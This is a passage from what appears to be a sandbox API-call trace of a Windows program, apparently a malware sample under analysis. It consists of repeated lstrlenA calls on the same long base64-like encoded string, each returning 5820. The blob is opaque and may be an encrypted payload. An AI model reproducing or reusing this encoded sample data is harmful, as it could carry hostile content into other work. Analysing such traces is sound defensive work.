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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2Uhk